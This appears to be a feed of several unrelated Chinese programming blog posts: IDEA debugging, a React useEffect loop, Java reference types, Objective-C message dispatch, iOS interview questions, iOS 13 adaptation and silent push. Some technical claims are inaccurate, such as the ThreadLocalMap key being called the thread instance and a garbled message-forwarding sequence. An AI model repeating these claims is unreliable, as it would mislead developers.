很明显,在 isPrime 方法里面对 91 这个非素数做了特殊处理,导致程序最终会输出 91,也就是出 BUG 了。

虽然这个 BUG 一目了然,但是不要笑,要忍住,要假装不知道为什么。

现在我们要通过调试的方式找到 BUG。

断点打在这个位置:

以 Debug 的模式运行的时候,有这样的一个图标:

点击之后会有这样的一个弹窗出来:

上面框起来的是对应着程序的每一个方法调用顺序,以及调用完成之后的输出是什么。

下面框起来的这个 “Flat Mode” 点击之后是这样的:

最右边,也就是经过 filter 之后输出的结果。

里面就包含了 91 这个数:

点击这个 “91”,发现在经过第一个 filter 之后,91 这个数据还在。

说明这个地方出问题了。

而这个地方就是前面提到的对 “91” 做了特殊处理的 isPrime 方法。

这样就能有针对性的去分析这个方法,缩小问题排除范围。

这个功能怎么说呢,反正我的评论是:

总之,以上就是 IDEA 对于 Streams 流进行调试的一个简单示例。

接着再演示一个并发相关的:

官方给了这样的一个示例:

public class ConcurrencyTest {
    static final List a = Collections.synchronizedList(new ArrayList());

    public static void main(String[] args) {
        Thread t = new Thread(() -> addIfAbsent(17));
        t.start();
        addIfAbsent(17);
        t.join();
        System.out.println(a);
    }

    private static void addIfAbsent(int x) {
        if (!a.contains(x)) {
            a.add(x);
        }
    }
}
复制代码

代码里面搞一个线程安全的 list 集合,然后主线程和一个异步线程分别往这个 list 里面塞同一个数据。

按照 addIfAbsent 方法的意思,如果要添加的元素在 list 里面存在了,则不添加。

你说这个程序是线程安全的吗?

肯定不是。

你想想,先判断,再添加,经典的非原子性操作。

但是这个程序你拿去直接跑,又不太容易跑出线程不安全的场景:

怎么办?

Debug 就来帮你干这个事儿了。

在这里打一个断点,然后右键断点,选择 “Thread”:

这样程序跑起来的时候主线程和异步线程都会在这个地方停下来:

可以通过 “Frames” 中的下拉框分别选择 Debug 主线程还是异步线程。

由于两个线程都执行到了 add 方法,所以最终的输出是这样的:

这不就出现线程不安全了吗?

即使你知道这个地方是线程不安全的,但是如果没有 Debug 来帮忙调试,要通过程序输出来验证还是比较困难的。

毕竟多线程问题,大多数情况下都不是每次都能必现的问题。

定位到问题之后,官方也给出了正确的代码片段:

好了,说好了是导读,这都是基本操作。还是那句话,如果感兴趣,自己去翻一下,跟着案例操作一下。

就算你看到有人把 Debug 源码,玩出花来了,也无外乎不过是这样的几个基础操作的组合而已。

回首往事

让我们再次回到官方的“关于 Debug 功能可能会导致的性能缓慢的问题”这个帖子里面:

当我看到方框里面框起来的 “Collections classes” 和 “toString()” 方法的时候,眼泪都快下来了。

我最早开始写文章的时候,曾经被这个玩意坑惨了。

三年前,2019 年,我写了这篇文章《这道Java基础题真的有坑!我也没想到还有续集。》

当时 Debug 调试 ArrayList 的时候遇到一个问题,我一度以为我被质子干扰了:

一句话汇总就是在单线程的情况下,程序直接运行的结果和 Debug 输出的结果是不一样的。

当时我是百思不得其解。

直到 8 个月后,写《JDK的BUG导致的内存溢出!反正我是没想到还能有续集》这篇文章的时候才偶然间找到问题的答案。

根本原因就是在 Debug 模式下,IDEA 会自动触发集合类的 toString 方法。而在某些集合类的 toString 方法里面,会有诸如修改头节点的逻辑,导致程序运行结果和预期的不匹配。

也就是对应这句话:

翻译过来就是:老铁请注意,如果 toString 方法中的代码更改了程序的状态,则在 debug 状态下运行时,这些方法也可以更改应用程序的运行结果。

最后的解决方案就是关闭 IDEA 的这两个配置:

同时,我也在官方文档中找到了这个两个配置的解释:

http://www.jetbrains.com/help/idea/c…

主要是为了在 Debug 的过程中用更加友好的形式显示集合类。

啥意思?

给你看个例子。

这是没有勾选前面说的配置的时候,map 集合在 Debug 模式下的样子:

这是勾选之后,map 集合在 Debug 模式下的样子:

很明显,勾选了之后的样子,更加友好。

收起阅读 »

记录一次React程序死循环

一、错误复现开发环境报如下错误。Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpda...
继续阅读 »

一、错误复现

开发环境报如下错误。

Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.

Call Stack
 checkForNestedUpdates
  website/./node_modules/react-dom/cjs/react-dom.development.js:4013:321
 scheduleUpdateOnFiber
  website/./node_modules/react-dom/cjs/react-dom.development.js:3606:187
 dispatchAction
  website/./node_modules/react-dom/cjs/react-dom.development.js:2689:115
 eval
  website/./src/components/FileUpload.jsx:73:7
 invokePassiveEffectCreate
  website/./node_modules/react-dom/cjs/react-dom.development.js:3960:1047
 HTMLUnknownElement.callCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:657:119
 Object.invokeGuardedCallbackDev
  website/./node_modules/react-dom/cjs/react-dom.development.js:677:45
 invokeGuardedCallback
  website/./node_modules/react-dom/cjs/react-dom.development.js:696:126
 flushPassiveEffectsImpl
  website/./node_modules/react-dom/cjs/react-dom.development.js:3968:212
 unstable_runWithPriority
  website/./node_modules/scheduler/cjs/scheduler.development.js:465:16

二、错误排查

  1. 通过注释代码的方式,发现出问题的地方,是Assets组件中引用的FileUpload出了问题。正好最近也修改过FileUpload组件。
  2. 通过sourcetree对比git记录,看FileUpload组件被修改了什么?如下图。
  3. 再对比错误提示中的描述,其中componentWillUpdate or componentDidUpdate,推测就是指新增的useEffect代码片断。
  4. 将上述useEffect代码片断注释掉,果然错误消失。

三、原因分析

useEffect的特性表明,只要initFiles发生了改变,46-48行代码就会执行。
既然上述useEffect代码片断事实上造成了死循环,就还说明了一点:

  • setFileList(initFiles)改变了initFiles,才使得useEffect中的函数再次被调用。

那么,initFiles到底是经历了怎样的变化,才使得调用能够循环往复地发生呢?

输出fileListinitFiles

console.log(fileList === initFiles)

可以发现,只有第一次render时输出true,后续全部是false

  • 第一次输出true,表明useState的入参为array时,只是简单的赋值关系,fileListinitFiles指定了同一个内存地址。
  • setFileList函数实际上是做了一次浅拷贝,然后赋值给fileList,改变了fileList的内存指向,也就是改变了最新initFiles的内存指向。同时React保留了之前initFiles的值用来做依赖对比。
  • useEffect在对比引用类型的依赖,比如object/array时,采用的是简单的===操作符,也就是说比较内存地址是否一致。
  • 前后两次initFiles虽然内部数据相同,但内存指向不同,就被useEffect认为【依赖发生了改变】,从而导致了死循环。

四、解决方案1

  • 尽量不直接使用object或者array作为依赖项,而是使用值类型来代替引用类型

    useEffect(() => {
    //...
    }, [initFiles.length])

五、解决方案2

是不是在调用useState时,拷贝initFiles就可以了呢?

const [fileList, setFileList] = useState([...initFiles])

useEffect(() => {
if (fileList.length === 0) {
setFileList([...initFiles])
}
}, [initFiles])

这样依然会报同样的死循环错误,这又是为什么呢?

initFiles是从父组件传入的,会不会是FileUpload组件重新render的时候,initFiles已经被重新赋值了呢?接下来的两个demo,证明了这个推测。

  • Demo1 - 慎重打开。打开后会卡死浏览器标签: initFiles初始化时,使用[]作为默认值,结果出现死循环。
  • Demo1 - 放心打开。打开后不执行JS,不会卡死浏览器,可放心查看代码。
  • Demo2:initFiles初始化时,不使用默认值,且父组件不更新,结果不出现死循五。

Demo1中,initFiles作为一个prop,每次render时,都会被赋值为一个新的空数组,改变了其内存指向。导致useEffect不断执行。

const FileUpload = ({initFiles=[]}) => {}

Demo2中,initFiles的值完全由父组件传入,父组件的变量不变化时,initFiles没有改变。

const FileUpload = ({initFiles=[]}) => {}
const App = () => {
return <FileUpload initFiles={[]} />
}

也就是说,只要保障initFiles不被循环赋值,就能够避免死循环。

六、结论

不建议将引用类型如array/object作为useEffect的依赖项,因欺触发bug的可能性很大,而且排查错误比较困难。

建议使用一到多个值类型作为useEffect依赖项。

原文链接:https://segmentfault.com/a/1190000042302716


收起阅读 »

Java四大引用详解:强引用、软引用、弱引用、虚引用

面试官考察Java引用会问到强引用、弱引用、软引用、虚引用,具体有什么区别?本篇单独来详解 @mikechen Java引用 从JDK 1.2版本开始,对象的引用被划分为4种级别,从而使程序能更加灵活地控制对象的生命周期,这4种级别由高到低依次为:强引用、软引...
继续阅读 »

面试官考察Java引用会问到强引用、弱引用、软引用、虚引用,具体有什么区别?本篇单独来详解 @mikechen


Java引用


从JDK 1.2版本开始,对象的引用被划分为4种级别,从而使程序能更加灵活地控制对象的生命周期,这4种级别由高到低依次为:强引用、软引用、弱引用和虚引用。


强引用


强引用是最普遍的引用,一般把一个对象赋给一个引用变量,这个引用变量就是强引用。


比如:


//  强引用
MikeChen mikechen=new MikeChen();

在一个方法的内部有一个强引用,这个引用保存在Java栈中,而真正的引用内容(MikeChen)保存在Java堆中。



如果一个对象具有强引用,垃圾回收器不会回收该对象,当内存空间不足时,JVM 宁愿抛出 OutOfMemoryError异常。


如果强引用对象不使用时,需要弱化从而使GC能够回收,如下:


//帮助垃圾收集器回收此对象
mikechen=null;

显式地设置mikechen对象为null,或让其超出对象的生命周期范围,则GC认为该对象不存在引用,这时就可以回收这个对象,具体什么时候收集这要取决于GC算法。


举例:


package com.mikechen.java.refenence;

/**
* 强引用举例
*
* @author mikechen
*/
public class StrongRefenenceDemo {

    public static void main(String[] args) {
        Object o1 = new Object();
        Object o2 = o1;
        o1 = null;
        System.gc();
        System.out.println(o1);  //null
        System.out.println(o2);  //java.lang.Object@2503dbd3
    }
}

StrongRefenenceDemo 中尽管 o1已经被回收,但是 o2 强引用 o1,一直存在,所以不会被GC回收。


 


软引用


软引用是一种相对强引用弱化了一些的引用,需要用java.lang.ref.SoftReference 类来实现。


比如:


String str=new String("abc");                                     // 强引用
SoftReference<String> softRef=new SoftReference<String>(str);     // 软引用

如果一个对象只具有软引用,则内存空间足够,垃圾回收器就不会回收它,如果内存空间不足了,就会回收这些对象的内存。


先通过一个例子来了解一下软引用:


/**
* 弱引用举例
*
* @author mikechen
*/
Object obj = new Object();
SoftReference softRef = new SoftReference<Object>(obj);//删除强引用
obj = null;//调用gc

// 对象依然存在
System.gc();System.out.println("gc之后的值:" + softRef.get());

软引用可以和一个引用队列(ReferenceQueue)联合使用,如果软引用所引用对象被垃圾回收,Java虚拟机就会把这个软引用加入到与之关联的引用队列中。


ReferenceQueue<Object> queue = new ReferenceQueue<>();
Object obj = new Object();
SoftReference softRef = new SoftReference<Object>(obj,queue);//删除强引用
obj = null;//调用gc
System.gc();
System.out.println("gc之后的值: " + softRef.get()); // 对象依然存在
//申请较大内存使内存空间使用率达到阈值,强迫gc
byte[] bytes = new byte[100 * 1024 * 1024];//如果obj被回收,则软引用会进入引用队列
Reference<?> reference = queue.remove();if (reference != null){
    System.out.println("对象已被回收: "+ reference.get());  // 对象为null
}

软引用通常用在对内存敏感的程序中,比如高速缓存就有用到软引用,内存够用的时候就保留,不够用就回收。


我们看下 Mybatis 缓存类 SoftCache 用到的软引用:


public Object getObject(Object key) {
    Object result = null;
    SoftReference<Object> softReference = (SoftReference)this.delegate.getObject(key);
    if (softReference != null) {
        result = softReference.get();
        if (result == null) {
            this.delegate.removeObject(key);
        } else {
            synchronized(this.hardLinksToAvoidGarbageCollection) {
                this.hardLinksToAvoidGarbageCollection.addFirst(result);
                if (this.hardLinksToAvoidGarbageCollection.size() > this.numberOfHardLinks) {
                    this.hardLinksToAvoidGarbageCollection.removeLast();
                }
            }
        }
    }
    return result;}

注意:软引用对象是在jvm内存不够的时候才会被回收,我们调用System.gc()方法只是起通知作用,JVM什么时候扫描回收对象是JVM自己的状态决定的,就算扫描到软引用对象也不一定会回收它,只有内存不够的时候才会回收。


 


弱引用


弱引用的使用和软引用类似,只是关键字变成了 WeakReference:


MikeChen mikechen = new MikeChen();
WeakReference<MikeChen> wr = new WeakReference<MikeChen>(mikechen );

弱引用的特点是不管内存是否足够,只要发生 GC,都会被回收。


举例说明:


package com.mikechen.java.refenence;

import java.lang.ref.WeakReference;

/**
* 弱引用
*
* @author mikechen
*/
public class WeakReferenceDemo {
    public static void main(String[] args) {
        Object o1 = new Object();
        WeakReference<Object> w1 = new WeakReference<Object>(o1);

        System.out.println(o1);
        System.out.println(w1.get());

        o1 = null;
        System.gc();

        System.out.println(o1);
        System.out.println(w1.get());
    }
}

 


弱引用的应用


WeakHashMap


public class WeakHashMapDemo {

    public static void main(String[] args) throws InterruptedException {
        myHashMap();
        myWeakHashMap();
    }

    public static void myHashMap() {
        HashMap<String, String> map = new HashMap<String, String>();
        String key = new String("k1");
        String value = "v1";
        map.put(key, value);
        System.out.println(map);

        key = null;
        System.gc();

        System.out.println(map);
    }

    public static void myWeakHashMap() throws InterruptedException {
        WeakHashMap<String, String> map = new WeakHashMap<String, String>();
        //String key = "weak";
        // 刚开始写成了上边的代码
        //思考一下,写成上边那样会怎么样? 那可不是引用了
        String key = new String("weak");
        String value = "map";
        map.put(key, value);
        System.out.println(map);
        //去掉强引用
        key = null;
        System.gc();
        Thread.sleep(1000);
        System.out.println(map);
    }}

当key只有弱引用时,GC发现后会自动清理键和值,作为简单的缓存表解决方案。


ThreadLocal


static class ThreadLocalMap {

    static class Entry extends WeakReference<ThreadLocal<?>> {
        Object value;

        Entry(ThreadLocal<?> k, Object v) {
            super(k);
            value = v;
        }
    }
    //......}

ThreadLocal.ThreadLocalMap.Entry 继承了弱引用,key为当前线程实例,和WeakHashMap基本相同。


 


虚引用


虚引用”顾名思义,就是形同虚设,与其他几种引用都不同,虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用,那么它就和没有任何引用一样,在任何时候都可能被垃圾回收器回收。


虚引用也称为“幽灵引用”或者“幻影引用”,它是最弱的一种引用关系。


虚引用需要java.lang.ref.PhantomReference 来实现:


A a = new A();
ReferenceQueue<A> rq = new ReferenceQueue<A>();
PhantomReference<A> prA = new PhantomReference<A>(a, rq);
复制代码

虚引用主要用来跟踪对象被垃圾回收器回收的活动。


虚引用与软引用和弱引用的一个区别在于:虚引用必须和引用队列 (ReferenceQueue)联合使用,当垃圾回收器准备回收一个对象时,如果发现它还有虚引用,就会在回收对象的内存之前,把这个虚引用加入到与之 关联的引用队列中。


 


Java引用总结


java4种引用的级别由高到低依次为:强引用 > 软引用 > 弱引用 > 虚引用。



以上


作者:mikechen的互联网架构
链接:https://juejin.cn/post/7131175540874018830
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS 消息调用过程

iOS
iOS 消息调用属于基本知识,苹果官方有一个详细的介绍图:iOS 工程中,调用对象的方法,就是向对象发送消息。我们知道,iOS 中的方法分为实例方法和对象方法。iOS 所有的对象都是继承至 NSObject, 编译完成后,在对象的定义中,存在一个实例方法链表、...
继续阅读 »

iOS 消息调用属于基本知识,苹果官方有一个详细的介绍图:


iOS 工程中,调用对象的方法,就是向对象发送消息。我们知道,iOS 中的方法分为实例方法和对象方法。iOS 所有的对象都是继承至 NSObject, 编译完成后,在对象的定义中,存在一个实例方法链表、一个缓存方法链表。当对实例 son 发送消息后,会在 son 缓存方法链表中寻找;缓存中没有时,向实例方法链表寻找;再找不到,会向父类的实例方法缓存链表 -> 父类的实例方法链表寻找,直至 NSObject。在 NSObject 中会经历以下两个步骤:
1 - (BOOL)resolveInstanceMethod:(SEL)sel ; 
2 - (id)forwardingTargetForSelector:(SEL)aSelector ;

如果在步骤 2 中范围 nil, 就会触发 iOS 的崩溃。

当向 Son 发送类方法时,会首先向 Son 的元类 metaClass 中的类缓存方法链表中寻找,然后类方法链表,然后直接在 NSObject 进行缓存方法链表 -> 类方法链表的寻找路径 . 在 NSObject 中会经历如下两个步骤:


实例的 methodList 链表中寻找方法,找不到时会寻找 Son 的类方法,仍然找不到时,会寻找父类的方法链表,直到 NSObject 。


其中不同对象间的切换,通过 isa 指针完成,实例 son 的 isa 指向类 Son, 类 Son 的 isa 指向元类,元类的 isa 指向父类的元类, 父类的元类向上传递,直至 NSObject .


NSObject 的指针 isa 指向其本身,在想 NSObject 发送消息时,会经历如下步骤:

1 + (BOOL)resolveClassMethod:(SEL)sel ; 
2 - (void)doesNotRecognizeSelector:(SEL)aSelector ;
当调用方法 2 时,会触发 iOS 的崩溃。利用以上机制,可以对resolveInstanceMethod 和 resolveClassMethod 两个方法进行方法交换,拦截可能出现的 iOS 崩溃,然后自定义处理。
作者:iOS猿_员
链接:https://www.jianshu.com/p/1a76ccad4e73
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS面试--虎牙最新iOS开发面试题

iOS
关于面试题,可能没那么多时间来总结答案,有什么需要讨论的地方欢迎大家指教。主要记录一下准备过程,和面试的一些总结,希望能帮助到正在面试或者将要面试的同学吧。 一面 项目架构,项目是自己写的吗 fps是怎么计算的 除了用cadisplay,还有什么方法吗 kv...
继续阅读 »

关于面试题,可能没那么多时间来总结答案,有什么需要讨论的地方欢迎大家指教。主要记录一下准备过程,和面试的一些总结,希望能帮助到正在面试或者将要面试的同学吧。


一面



  • 项目架构,项目是自己写的吗

  • fps是怎么计算的

  • 除了用cadisplay,还有什么方法吗

  • kvo怎么实现

  • leaks怎么实现

  • 如何代码实现监听僵尸对象

  • imageWithName什么时候发生编解码,在什么线程

  • isa指针里面有什么

  • 消息发送和消息转发流程

  • 函数里面的参数怎么存储

  • oc一个空函数里面有参数吗

  • 他们存在栈还是寄存器

  • 红黑树等查找时间复杂度

  • nsdictionary的实现

  • iOS的各种锁

  • 如何实现dispatch once,要考虑什么问题

  • 同一线程里面使用两个@synconize会怎么样,是递归锁还是非递归锁

  • 如何增加按钮点击范围


二面



  • 说一下ARC

  • autoreleasepool可以用来干嘛

  • 里面的对象什么时候释放,是出来就释放吗

  • 消息转发可以用来干什么

  • runloop是干什么,你用来干什么了

  • 说一下c++多态和虚函数表

  • TCP如何保证数据传输完整性

  • TCP为什么三次握手

  • http和https,全程都是非对称加密吗

  • 开放性问题,很多乱序数据过来,你要怎么考虑排序方法的设计

  • 对RxSwift的看法,有用过吗?


三面



  • iOS对象指针大小

  • 对象分配到堆还是栈

  • http怎么区分header和body

  • 多线程可以访问同一个对象吗,多进程呢

  • 视频pts和dts

  • 视频丢帧丢哪个好点

  • iOS各种锁的性能,琐是毫秒级别还是微妙级别

  • http请求是异步还是同步

  • 怎么看待rn和flutter


作者:iOS弗森科
链接:https://www.jianshu.com/p/17849abb722c
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS之iOS13适配总结

iOS
前言 随便iOS开发开始更新变成Xcode11,适配iOS13变成了现在的当务之急。 新特性适配 一、新添加的Dark Mode iOS 13 推出暗黑模式,UIKit 提供新的系统颜色和 api 来适配不同颜色模式,xcassets 对素材适配也做了调整,具...
继续阅读 »

前言


随便iOS开发开始更新变成Xcode11,适配iOS13变成了现在的当务之急。


新特性适配


一、新添加的Dark Mode


iOS 13 推出暗黑模式,UIKit 提供新的系统颜色和 api 来适配不同颜色模式,xcassets 对素材适配也做了调整,具体适配可见: Implementing Dark Mode on iOS


切换、修改当前 UIViewController 或 UIView的模式。只要设置了控制器为暗黑模式,那么它子view也会对应的修改。



  • 只修改当前UIViewController或UIView的模式。

  • 只要设置了控制器为暗黑模式,那么它子view也会对应的修改。


代码如下:

if (@available(iOS 13.0, *)) {
self.overrideUserInterfaceStyle = UIUserInterfaceStyleDark;//UIUserInterfaceStyleLight
} else {
// Fallback on earlier versions
}
注意当我们在window上设置 overrideUserInterfaceStyle的时候,就会影响 window下所有的controller,view,包括后续推出的 controller。



二、使用KVC访问私有变量已发崩溃


iOS13之后就不能通过KVC访问修改私有属性,不然就会找不到这个key,从而引发崩溃。


目前搜集到的KVC访问权限引发崩溃的方法:



  1. UIApplication -> _statusBar

  2. UITextField -> _placeholderLabel

  3. UITabBarButton -> _info

  4. UISearchBar -> _searchField

  5. UISearchBar -> _cancelButton

  6. UISearchBar -> _cancelButtonText

  7. UISearchBar -> UISearchBarBackground


1、UIApplication -> _statusBar 获取状态栏崩溃


在iOS13上获取状态栏statusBar,不能直接用KVC。要使用performSelector

UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;
UIView *statusBar;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {

UIView *localStatusBar= [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {

statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}



适配的时候就是iOS13和非iOS13

if(@available(iOS 13.0, *)) {

//上面获取statusBar代码
} else {

UIView *statusBar = [[UIApplication sharedApplication]
valueForKey:@"statusBar"];

}



2、UITextField -> _placeholderLabel


在iOS13 UITextField通过KVC来获取_placeholderLabel会引发崩溃。

//在ios13使用会引发崩溃
[self.textField setValue:self.placeholderColor
forKeyPath:@"_placeholderLabel.textColor"];



崩溃如下:

'Access to UITextField's _placeholderLabel ivar is prohibited. 
This is an application bug'

解决方案:UITextField有个attributedPlaceholder的属性,我们可以自定义这个富文本来达到我们需要的结果。

NSMutableAttributedString *placeholderString = [[NSMutableAttributedString alloc] initWithString:placeholder 
attributes:@{NSForegroundColorAttributeName : self.placeholderColor}];
_textField.attributedPlaceholder = placeholderString;



3、UISearchBar 黑线处理导致崩溃


iOS13之前为了处理搜索框的黑线问题,通常会遍历searchBar的 subViews,找到并删除UISearchBarBackground。


在 iOS13 中这么做会导致UI渲染失败,然后直接崩溃,崩溃信息如下:

erminating app due to uncaught exception'NSInternalInconsistencyException', reason: 'Missing or detached view for search bar layout'



解决方案:修改方法为:设置 UISearchBarBackground 的 layer.contents 为 nil

for (UIView *view in _searchBar.subviews.lastObject.subviews) {
if ([view isKindOfClass:NSClassFromString(@"UISearchBarBackground")]) {
view.layer.contents = nil;
break;
}
}



4、iOS UISearchBar通过kvc获取_cancelButtonText、_cancelButton、_searchField引发崩溃。


先说一下_searchField来说明的解决方案。


在iOS13之前,我们通过"_searchField"来获取UISearchTextField来修改一些属性。

UITextField *searchFiled = [self valueForKey:@"_searchField"];



但在iOS13会引发崩溃,解决方案就是在iOS13中引入了名为searchTextField的属性。

@property (nonatomic, readonly) UISearchTextField *searchTextField;

查看一下UISearchTextField

UIKIT_CLASS_AVAILABLE_IOS_ONLY(13.0)
@interface UISearchTextField : UITextField
///功能省略
@end



发现UISearchTextField继承UITextField,代码实现:

UITextField *searchField;
if(@available(iOS 13.0, *)) {
//UISearchBar的self.searchTextField属性是readonly,不能直接用
searchField = self.searchTextField;
} else {
searchField = [self valueForKey:@"_searchField"];
}

三、presentViewController 默认弹出样式



  • 苹果将 UIViewController 的 modalPresentationStyle 属性的默认值改成了新加的一个枚举值 UIModalPresentationAutomatic,对于多数 UIViewController,此值会映射成 UIModalPresentationPageSheet。

  • iOS13系统的默认样式是: UIModalPresentationAutomatic

  • iOS12及以下系统的默认样式是:UIModalPresentationFullScreen;


想要改成以前默认的样式

- (UIModalPresentationStyle)modalPresentationStyle {
return UIModalPresentationFullScreen;
}



四、AVPlayerViewController 替换MPMoviePlayerController


在 iOS 9 之前播放视频可以使用 MediaPlayer.framework 中的MPMoviePlayerController类来完成,它支持本地视频和网络视频播放。但是在 iOS 9 开始被弃用,如果在 iOS 13 中继续使用的话会直接抛出异常:

'MPMoviePlayerController is no longer available. Use AVPlayerViewController in AVKit.'

解决方案:

既然不能再用了,那只能换掉了。替代方案就是AVKit里面的那套播放器。


五、废弃UIWebview 改用 WKWebView


iOS13 开始苹果将 UIWebview 支持的系统(iOS2.0-iOS12.0),目前提交苹果应用市场(App Store)会发送邮件提示你在下一次提交时将应用中UIWebView的api移除。


虽然暂时没有强制必须替换WKWebView,但是在iOS13开始UIWebView已是废弃的API,所以还是越早换越好。


六、iOS13 获取window适配


在iOS13通过UIWindowScene的方式获取window

UIWindow* window = nil;
if (@available(iOS 13.0, *)) {
for (UIWindowScene* windowScene in [UIApplication sharedApplication].connectedScenes) {
if (windowScene.activationState == UISceneActivationStateForegroundActive) {
window = windowScene.windows.firstObject;
break;
}
}
}else{
window = [UIApplication sharedApplication].keyWindow;
}



七、iOS13 废弃LaunchImage


从iOS8的时候,苹果就引入了LaunchScreen,我们可以设置 LaunchScreen来作为启动页。当然,现在你还可以使用LaunchImage来设置启动图。


但是从2020年4月开始,所有使⽤ iOS13 SDK的 App将必须提供 LaunchScreen,LaunchImage即将退出历史舞台。使用LaunchScreen有点:



  • 不需要单独适配种屏幕尺寸的启动图

  • LaunchScreen是支持AutoLayout+SizeClass的,所以适配各种屏幕都不在话下


七、iOS13 适配UISegmentedControl


默认样式变为白底黑字,如果设置修改过颜色的话,页面需要修改。

如下图:



其次设置选中颜色的tintColor属性在iOS13已经失效,所以在iOS13新增新增了selectedSegmentTintColor 属性用以修改选中的颜色。


适配代码如下:

if ( @available(iOS 13.0, *)) {
self.segmentedControl.selectedSegmentTintColor = [UIColor yellowcolor];
} else {
self.segmentedControl.tintColor = [UIColor yellowcolor];
}
作者:枫叶无处漂泊
链接:https://www.jianshu.com/p/acde9bc3fc97
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS推送通知及静默推送相关

iOS
    在IOS推送服务中,Apple提供了两种不同方式的推送形式,一种是在通知栏上面显示的推送;另一种则是不带消息提醒的推送,俗称“静默消息”。1. 普通推送和静默推送的区别      &...
继续阅读 »

    在IOS推送服务中,Apple提供了两种不同方式的推送形式,一种是在通知栏上面显示的推送;另一种则是不带消息提醒的推送,俗称“静默消息”。

1. 普通推送和静默推送的区别

        普通推送:收到推送后(有文字有声音),点开通知,进入APP后,才执行

- (void)application:(UIApplication didReceiveRemoteNotification:(NSDictionary fetchCompletionHandler:(void result))handler *)application *)userInfo (^)(UIBackgroundFetchResult


        静默推送:(Silent Push)并不是必须要“静默”(通常是没有文字没有声音),只要推送payload中aps字典里包含了"content-available": 1的键值对,都具有静默推送的特性,不用点开通知,不用打开APP,就能执行

-(void)application:(UIApplication )application)userInfo didReceiveRemoteNotification:(NSDictionary fetchCompletionHandler:(void (^)(UIBackgroundFetchResultresult))handler


用户完全感觉不到所以静默推送又被我们称做 Background Remote Notification(后台远程推送)。

        静默推送是在iOS7之后推出的一种推送方式。它与其他推送的区别在于允许应用收到通知后在后台(background)状态下运行一段代码,可用于从服务器获取内容更新。

PS:注册消息通知时通常的弹窗询问权限有什么用呢?其实只是请求用户允许在推送通知到来时能够有alert, badge和sound,而并不是在请求注册推送本身的权限。静默推送即使用户不允许应用的推送,静默推送依然会送达用户设备,只是不会有alert, badge和sound。这也符合静默推送的正常使用场景。



2. 远程推送时 , 应用的几种状态及对应回调方法

     (1) . 应用开启时 , 应用在前台

     (2) . 应用开启时 , 应用在后台

     (3) . 应用未启动(应用被杀死)

从苹果APNS服务器远程推送时:

不使用时(iOS10以后可用)

1 . 如果应用处于 (1) 状态 , 则不会发出声音 , 会直接调用appDelegate的代理方法didReceiveRemoteNotification(didReceiveRemoteNotification:fetchCompletionHandler:)

2 . 如果应用处于 (2) 状态 , 则会发出提示音, 点击推送消息 , 则会调用appDelegate的代理方法didReceiveRemoteNotification

3 . 如果应用处于 (3) 状态,则会发出提示音 , 点击推送消息 , 则会开启应用 , 在下面这个方法中会带上launchOptions这个参数,如果实现了application:didReceiveRemoteNotification:fetchCompletionHandler:这个方法,则还会调用这个方法

注:didReceiveRemoteNotification指以下两个方法。两个方法互斥。在两方法都实现的情况下方法2优先级高

1. - (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo

2. - (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler


iOS10使用

1 . 如果应用处于 (1) 状态 , 会发出声音 , 会直接调用appDelegate的代理方法userNotificationCenter:willPresentNotification:withCompletionHandler

2 . 如果应用处于 (2) 状态 , 则会发出提示音, 点击推送消息 , 则会调用appDelegate的代理方法

userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler

3 . 如果应用处于 (3) 状态,则会发出提示音 , 点击推送消息 , 则会开启应用 , 在下面这个方法中会带上launchOptions这个参数,如果实现了userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler这个方法,则还会调用这个方法



2. 静默推送及app的状态切换

        在大多数情况下,启动一个app后都是进入前台,比如我们点击应用图标或点推送通知来启动应用。其实app在某些后台事件和特定条件下是可以直接启动到后台(launch into the background)的。

    2.1 应用状态之一Suspended

        这种状态其实和Background类似,而且从用户角度讲应用现在看起来确实是在“后台”,但它和Background状态不同的是Suspended下已经不能执行代码了。应用何时会进Suspended就是玄学了,这是由iOS系统自动控制的,而且不会有任何回调,可以看到UIApplicationDelegate里并没有像applicationWillBecomeSuspended:这种东西。这种状态下的应用虽然还在内存中,但是一旦设备内存吃尽,比如开了炉石传说的游戏,那么系统就会优先干掉(文档上用的是purge这个词)处于Suspended状态的应用,而且也不会有回调。

    2.2 应用启动到前台的生命周期(以点击应用图标开始)

    AppDelegate中走的回调方法 

 · application:willFinishLaunchingWithOptions:

· application:didFinishLaunchingWithOptions:

· applicationDidBecomeActive:


    静默推送可以使应用启动到后台

        前提是应用先被退到后台,过一段时间被系统移入Suspended状态,然后又被系统在内存吃紧时回收了内存(相当于应用已经被系统正当杀掉,而非用户双击Home键杀掉),在这以后,该应用收到静默推送即会启动应用到后台。

    AppDelegate中走的回调方法变为

 · application:willFinishLaunchingWithOptions:

· application:didFinishLaunchingWithOptions:

· applicationDidEnterBackground:


        这个过程中,系统不会显示应用的window,就是说我们不会看到手机屏幕上突然鬼畜一下应用启动,但是应用的第一屏会被加载和渲染,比如你的window.rootViewController是一个TabBarController,那么它及其默认选中的selectedViewController都会被加载和渲染。这是因为系统认为在后台执行完任务后可能会有UI上的更新,所以在applicationDidEnterBackground:方法执行结束后便会有个快速的截图,来更新用户双击Home时看到的那个应用截图。


3. 收到静默推送时的后续该如何处理。

        application:didReceiveRemoteNotification:fetchCompletionHandler:

